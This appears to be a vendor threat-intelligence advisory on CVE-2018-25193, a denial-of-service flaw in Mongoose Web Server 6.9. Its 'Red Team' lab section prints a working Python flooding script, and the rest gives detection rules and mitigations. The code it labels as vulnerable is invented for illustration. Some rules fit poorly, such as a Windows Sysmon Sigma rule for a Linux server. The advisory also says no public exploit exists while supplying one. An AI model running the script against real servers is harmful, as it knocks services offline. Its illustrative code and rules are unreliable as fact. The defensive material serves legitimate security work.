CVE-2018-25193

Executive Summary

CVE-2018-25193 is a denial of service (DoS) vulnerability in Mongoose Web Server version 6.9. The flaw allows remote, unauthenticated attackers to crash the service by establishing multiple socket connections and sending malformed data. This exhausts server resources (CPU, memory, file descriptors), leading to service unavailability. The vulnerability has a CVSS score of 7.5 (High) and is classified under CWE-400 (Uncontrolled Resource Consumption). No public exploit code or patch is currently available, and the EPSS score is 0.0%, indicating low exploitation likelihood in the wild.

Supply Chain & Package Security

Mongoose is a widely used embedded web server library, often integrated into IoT devices, embedded systems, and custom applications. This vulnerability can affect any product that bundles Mongoose 6.9. Since no patch exists, supply chain risk is elevated—organizations must identify and isolate affected components.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
• Base Score: 7.5 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: None (C:N)
• Integrity Impact: None (I:N)
• Availability Impact: High (A:H)

Threat Level: High. The vulnerability is easy to exploit remotely without authentication, leading to complete service denial.

Deep Dive & Mechanics

The vulnerability resides in Mongoose Web Server 6.9's connection handling logic. When a remote attacker opens multiple socket connections to the default port (typically 80 or 8080) and sends malformed data (e.g., incomplete HTTP requests, garbage bytes, or specially crafted packets), the server fails to properly release resources after each connection. This leads to:

1. File Descriptor Exhaustion: Each connection consumes a file descriptor. Without proper cleanup, the server runs out of available descriptors.
2. Memory Leak: Malformed data may cause the server to allocate memory for parsing that is never freed.
3. CPU Saturation: The server may enter infinite loops or high-overhead error handling routines.

The attack does not require any authentication or prior knowledge of the server beyond its IP address and port. The attacker can use simple tools like netcat or custom scripts to flood the server with connections.

Vulnerable vs. Patched Code

Since no official patch exists, the vulnerable code path is in the connection acceptance and request parsing routines of Mongoose 6.9. The following pseudo-code illustrates the flaw:

Vulnerable Code (Mongoose 6.9):

void handle_connection(struct mg_connection *nc) {
    char buf[1024];
    int n = mg_read(nc, buf, sizeof(buf));
    // No validation of n or malformed data
    process_request(buf, n);
    // No cleanup on error
}

Patched Code (Hypothetical Fix):

void handle_connection(struct mg_connection *nc) {
    char buf[1024];
    int n = mg_read(nc, buf, sizeof(buf));
    if (n <= 0 || is_malformed(buf, n)) {
        mg_close_connection(nc);
        return;
    }
    process_request(buf, n);
    mg_close_connection(nc);
}

The fix would involve:

• Validating the received data length and content.
• Closing connections immediately upon detecting malformed data.
• Implementing rate limiting or connection throttling.

Exploitation & Lab Setup

Red Team

Objective: Crash the Mongoose Web Server 6.9 by exhausting resources.

Lab Setup:

1. Install Mongoose 6.9 on a Linux VM (e.g., Ubuntu 18.04).
2. Start the server on port 8080: ./mongoose -listening_port 8080
3. From an attacker machine, run the following Python script:

import socket
import time

target_ip = "192.168.1.100"
target_port = 8080
num_connections = 500

for i in range(num_connections):
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((target_ip, target_port))
        # Send malformed data (incomplete HTTP request)
        s.send(b"GET / HTTP/1.0\r\n" + b"A" * 1000)
        # Keep connection open
        time.sleep(0.1)
    except:
        pass

print("Connections sent. Check server status.")

Expected Outcome: The server becomes unresponsive or crashes after a few hundred connections.

Blue Team

Detection & Mitigation:

1. Monitor Resource Usage: Set up alerts for high file descriptor usage, memory spikes, and CPU saturation on the Mongoose server.
2. Network Monitoring: Detect multiple rapid connections from a single IP to the same port.
3. Rate Limiting: Use iptables or a reverse proxy (e.g., Nginx) to limit connection rates per IP.
4. WAF Rules: Block requests with malformed HTTP headers or excessive data.

Hunting Query (Splunk):

index=network sourcetype=tcp_connections
| stats count by src_ip, dest_port
| where count > 100
| table src_ip, dest_port, count

Indicators of Compromise (IOCs)

• Network IOCs:
  • Multiple TCP connections from a single IP to port 8080 (or configured port) within a short time window.
  • Packets containing malformed HTTP requests (e.g., incomplete headers, excessive garbage bytes).
• Host IOCs:
  • High number of open file descriptors for the Mongoose process.
  • Memory usage exceeding normal baseline.
  • Server logs showing repeated connection errors or timeouts.
• File IOCs:
  • Core dump files from the Mongoose process (if crash occurs).

Detection Engineering

YARA Rule

rule Mongoose_DoS_CVE_2018_25193 {
    meta:
        description = "Detects malformed HTTP requests targeting Mongoose 6.9"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2018-25193"
    strings:
        $http_get = "GET / HTTP/1."
        $malformed1 = /[A-Z]{100,}/  // Excessive uppercase letters
        $malformed2 = /[\x00-\x1f]{10,}/  // Control characters
    condition:
        $http_get and ($malformed1 or $malformed2)
}

Sigma Rule

title: Mongoose DoS Attack Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects multiple connections from a single IP to Mongoose server
author: Valters IT
logsource:
    category: network_connection
    product: windows
    service: sysmon
detection:
    selection:
        EventID: 3
        DestinationPort: 8080
    condition: selection | count(src_ip) by src_ip > 100
falsepositives:
    - Legitimate high-traffic clients
level: high

Suricata Rule

alert tcp any any -> any 8080 (msg:"Mongoose DoS Attempt - Multiple Connections"; flow:to_server; threshold: type both, track by_src, count 100, seconds 60; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Actions:

   • Isolate Mongoose 6.9 servers from untrusted networks.
   • Implement network-level rate limiting (e.g., iptables, Nginx).
   • Monitor server resources and set up alerts.

2. Long-term Fix:

   • Upgrade to a patched version of Mongoose (if available) or migrate to an alternative web server.
   • Apply vendor patches as soon as they are released.
   • Conduct a code review of the connection handling logic.

3. Compensating Controls:

   • Use a reverse proxy (e.g., HAProxy, Nginx) to filter malformed requests.
   • Enable connection timeouts and resource limits in the server configuration.
   • Deploy a Web Application Firewall (WAF) to block anomalous traffic.

4. Detection & Monitoring:

   • Implement the YARA, Sigma, and Suricata rules provided above.
   • Regularly review logs for signs of resource exhaustion.

Valters IT
DevSecOps & Cyber Threat Intelligence